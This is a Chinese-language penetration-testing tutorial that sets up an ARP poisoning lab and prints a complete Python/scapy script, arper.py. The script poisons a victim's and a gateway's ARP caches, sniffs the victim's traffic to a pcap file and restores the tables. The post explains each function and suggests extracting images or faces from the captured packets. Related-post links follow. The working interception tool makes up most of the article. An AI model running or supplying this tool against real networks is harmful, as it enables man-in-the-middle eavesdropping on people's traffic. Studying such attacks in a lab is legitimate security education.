< 渗透测试学习指南 > python编写ARP投毒工具
转载请注明作者及出处:
ARP投毒是最古老的黑客技术之一,它的逻辑相当简单:欺骗目标设备,使其相信我们是它的网关;然后欺骗网关,告诉它要发给目标设备的所有流量必须交给我们转发。网络上的每一台设备,都维护着一段ARP缓存,里面记录着最近一段时间本地网络上的MAC地址和IP地址的对应关系。为了实现这一攻击,我们会往这些ARP缓存中投毒,即在缓存中插入我们编造的记录。
一. 实验准备
windows10(IP:192.168.0.194 MAC:00:0c:29:95:ad:52)
kali linux(IP:192.168.0.192 MAC:00:0c:29:a3:bd:e2)
网关(IP:192.168.0.1 MAC:58:d9:d5:e1:d9:50)
二.实验开始
首先我们开启本地主机对网关和目标设备的流量转发功能
开启转发功能后,启动arper.py脚本,并检查目标设备的ARP缓存
趁着脚本工作的时间,我们去目标设备检查一下受害设备的ARP表
可以看到,可怜的受害机拿着一份被投毒的ARP表,其中网关的MAC地址其实是攻击机192.168.0.192的。在攻击脚本arper.py运行结束后,将会在脚本所在目录下生成一个名为arper.pcap的文件。
到此,ARP投毒操作算是圆满完成了,下面我们来看一些干货,看看刚才我们使用的脚本工具arper.py是怎么运作起来的,至于刚才生成的arper.pcap文件我们在学习完工具的运作原理之后再来研究。话不多说,上源码。
from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import timedef get_mac(targetip):packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)resp, _ = srp(packet, timeout=2, retry=10, verbose=False)for _, r in resp:return r[Ether].srcreturn Noneclass Arper:def __init__(self, victim, gateway, interface='eth0'):self.victim = victimself.victimmac = get_mac(victim)self.gateway = gatewayself.gatewaymac = get_mac(gateway)self.interface = interfaceconf.iface = interfaceconf.verb = 0print(f'Initialized {interface}:')print(f'Gateway ({gateway}) is at {self.gatewaymac}.')print(f'Victim ({victim}) is at {self.victimmac}.')print('-'*30)def run(self):self.poison_thread = Process(target=self.poison)self.poison_thread.start()self.sniff_thread = Process(target=self.sniff)self.sniff_thread.start()def poison(self):poison_victim = ARP()poison_victim.op = 2poison_victim.psrc = self.gatewaypoison_victim.pdst = self.victimpoison_victim.hwdst = self.victimmacprint(f'ip src: {poison_victim.psrc}')print(f'ip dst: {poison_victim.pdst}')print(f'mac dst: {poison_victim.hwdst}')print(f'mac src: {poison_victim.hwsrc}')print(poison_victim.summary())print('-'*30)poison_gateway = ARP()poison_gateway.op = 2poison_gateway.psrc = self.victimpoison_gateway.pdst = self.gatewaypoison_gateway.hwdst = self.gatewaymacprint(f'ip src: {poison_gateway.psrc}')print(f'ip dst: {poison_gateway.pdst}')print(f'mac dst: {poison_gateway.hwdst}')print(f'mac_src: {poison_gateway.hwsrc}')print(poison_gateway.summary())print('-'*30)print(f'Beginning the ARP poison. [CTRL-C to stop]')while True:sys.stdout.write('.')sys.stdout.flush()try:send(poison_victim)send(poison_gateway)except KeyboardInterrupt:self.restore()sys.exit()else:time.sleep(2)def sniff(self, count=200):time.sleep(5)print(f'Sniffing {count} packets')bpf_filter = "ip host %s" % victimpackets = sniff(count=count, filter=bpf_filter, iface=self.interface)wrpcap('arper.pacp', packets)print('Got the packets')self.restore()self.poison_thread.terminate()print('Finished.')def restore(self):print('Restoring ARP tables...')send(ARP(op=2,psrc=self.gateway,hwsrc=self.gatewaymac,pdst=self.victim,hwdst='ff:ff:ff:ff:ff:ff'),count=5)send(ARP(op=2,psrc=self.victim,hwsrc=self.victimmac,pdst=self.gateway,hwdst='ff:ff:ff:ff:ff:ff'),count=5)if __name__ == '__main__':(victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])myarp = Arper(victim, gateway, interface)myarp.run()
首先我们定义了get_mac函数来获取任意设备的MAC地址,然后定义了一个Arper类,用来投毒、嗅探、恢复网络设置。
首先来讲get_mac函数,这个函数能找出任意IP地址对应的MAC地址,我们可以用它来找受害机和网关的MAC地址。在该函数的第一行代码中,我们传入目标IP地址并创建了一个查询数据包,我们使用的Ether函数表示这个数据包将会被全网广播,ARP函数构造了一个MAC地址查询请求,用来询问每个节点其地址是否为这个目标IP地址。后续,我们使用srp函数发送这个数据包,这样就能在网络协议栈的第二层上收发数据,接收到的应答数据会被存到 resp 变量中,里面记录着目标IP地址在Ether层的MAC地址。
在Arper类中,我们用受害机的IP地址、网关IP地址、eth0网卡来初始化这个类。有了这些信息后,填充interface、victim、victimmac、gateway、gatewaymac等成员变量,并把它们输出到屏幕上。
下面我们来到run函数,run函数负责执行Arper对象的工作,它配置并启动了两个进程:一个用来毒害ARP缓存,另一个用来嗅探网络流量、实时监控攻击过程。
我们在poison函数中构建用来攻击的恶意数据。首先,构建出毒害受害机的恶意ARP数据包,然后用类似的方法构建毒害网关的恶意ARP数据包。我们毒害网关时会发送受害机的IP地址与攻击机的的MAC地址,毒害受害机时会发送网关的IP地址与攻击机的MAC地址。随后把这些信息打印到屏幕上,这样就能确认数据包的接收者和攻击载荷了。
接下来我们用一个无限循环不停地把恶意数据包发往它们的目的地,以确保攻击过程中ARP缓存一直处于中毒状态。这个循环会一直持续到Ctrl+C组合键被按下为止(KeyboardInterrupt),这时我们会将网络状态恢复为原样(把正确信息发送给受害机和网关,还原投毒攻击前的状态)。
下面来到sniff嗅探函数,这个函数会在开始嗅探前休眠5秒,给投毒线程留下足够的启动时间,它只嗅探那些带有受害机IP地址的数据包,并且仅嗅探指定的个数(200个)。嗅探完这些数据包后,sniff函数会把它们存进一个名为 arper.pcap 的文件,将ARP表中的数据还原为原来的值,然后终止投毒线程。
最后restore函数会给受害机和网关发送正确的ARP信息,将它们恢复为投毒前的状态。
对于之前工具生成的arper.pcap文件,我们可以用wireshark直接打开,也可以用其他脚本工具将里面存储的数据包内容提取出来,里面存储了我们刚才投毒后窃取到的200个数据包内容,至于内容具体是什么,由于每个人得到的数据包都各不相同,所以交给大家自行去探究,可以尝试从数据包中提取图片或者识别人脸图像,这里不予教学。
< 渗透测试学习指南 > python编写ARP投毒工具相关推荐
- <渗透测试学习指南> 信息收集(三)获取目标应用版本等详细信息
转载请注明作者和出处: 本章将讲述如何获取目标系统信息.端口信息等详细信息 上一章我们讲到了获取目标真实IP及子域名信息的几种典型方法,但是单靠真实IP和子域名还无法让我们顺利的完成一项渗透测试任务, ...
- 内部视频放送 |《Python安全攻防:渗透测试实战指南》知识星球
如果你立志成为一名合格的安全从业者,想突破"脚本小子"的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!<Python安全攻防:渗透测试实战指南>马上就要 ...
- 【保姆级】黑客入门教程「Python安全攻防:渗透测试实战指南」经典纯狱风~
前言 网络江湖,风起云涌,攻防博弈,从未间断,且愈演愈烈.从架构安全到被动纵深防御,再到主动防御.安全智能,直至进攻反制,皆直指安全的本质--攻防.未知攻,焉知防! 每一位网络安全从业者都有仗剑江湖的 ...
- 黑客零基础入门教程《Python安全攻防:渗透测试实战指南》极致经典,学完即可包吃包住
前言 网络江湖,风起云涌,攻防博弈,从未间断,且愈演愈烈.从架构安全到被动纵深防御,再到主动防御.安全智能,直至进攻反制,皆直指安全的本质--攻防.未知攻,焉知防! 每一位网络安全从业者都有仗剑江湖的 ...
- python渗透测试编程技术基础书评_【新手必看】渗透测试学习书籍推荐
Web综合渗透方向 <Web安全攻防:渗透测试实战指南> 该书出版于2018-7,全书416页,涉及知识面虽广,但90%的知识点都不深入,在新手层面相对深入讲解了SQL注入的利用:知识排序 ...
- 《黑客秘笈——渗透测试实用指南》—第2章2.3节 外部或内部的主动式信息收集...
本节书摘来自异步社区<黑客秘笈--渗透测试实用指南>一书中的第2章2.3节 外部或内部的主动式信息收集,作者[美]Peter Kim(彼得 基姆),更多章节内容可以访问云栖社区" ...
- 渗透测试实战指南笔记
第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache.Nginx.MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包. 首先,下载需要的安装包 ...
- KALI LINUX渗透测试学习笔记
KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...
- 《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录
----------------------------------------------------------------------------分割线--------------------- ...
- 《黑客秘笈——渗透测试实用指南(第2版)》目录—导读
版权 黑客秘笈--渗透测试实用指南(第2版) • 著 [美] Peter Kim 译 孙 勇 责任编辑 傅道坤 • 人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 3 ...
最新文章
- Maven多工程的创建
- 时间卷积网络(TCN)在 NLP 多领域发光,RNN 或将没落
- android文件的写入与读取---简单的文本读写context.openFileInput() context.openFileOutput()...
- python和c哪个好找工作-Python和c哪个效率高一些
- [译] 如何使用纯函数式 JavaScript 处理脏副作用
- 如何计算一年总共有多少周_余额宝1万一天收益多少?如何计算?
- python超神之路:创建对象的9种方法
- TestinPro应用与DevOps之路
- display:none;与visibility:hidden;的区别
- python--xlrd: xlrd.open_workbook excel.xls CompDocError解决办法
- 使用3DMM进行人脸重建中的配准方法
- python jieba库的使用
- Spark 高难度对话 SQL Server - 续篇
- 中奖人js滚动效果_原生js实现中奖信息无间隙滚动效果
- 学习率设置-warm up与consine learning rate
- 百度云曲显平:AIOps时代下如何用运维数据系统性地解决运维问题?
- 大型游戏后台实践浅谈
- 神秘的程序员头像包 第二发
- 计算机耐火等级不低于,网络信息安全知识:网吧营业场所应设置在耐火等级不低于()级的建筑物内。...
- Java的IO流之File类
热门文章
- android时间格式am pm,pm时间(am.pm正确时间书写格式)
- 白马非马的面向对象分析
- Excel中经纬度格式化处理
- eclipse修改自定义皮肤
- 双边功率谱密度和单边功率谱密度_以高斯信号为例,计算幅度谱、相位谱、双边功率谱、双边功率谱密度、单边功率谱、单边功率谱密度。...
- openwrt reboot流程
- Driverjs-前端引导页组件
- from scipy.misc import comb ImportError: cannot import name ‘comb‘
- HTML5教程之FileList文件列表对象的应用
- LeetCode刷题笔记——(8/17 - 8/27)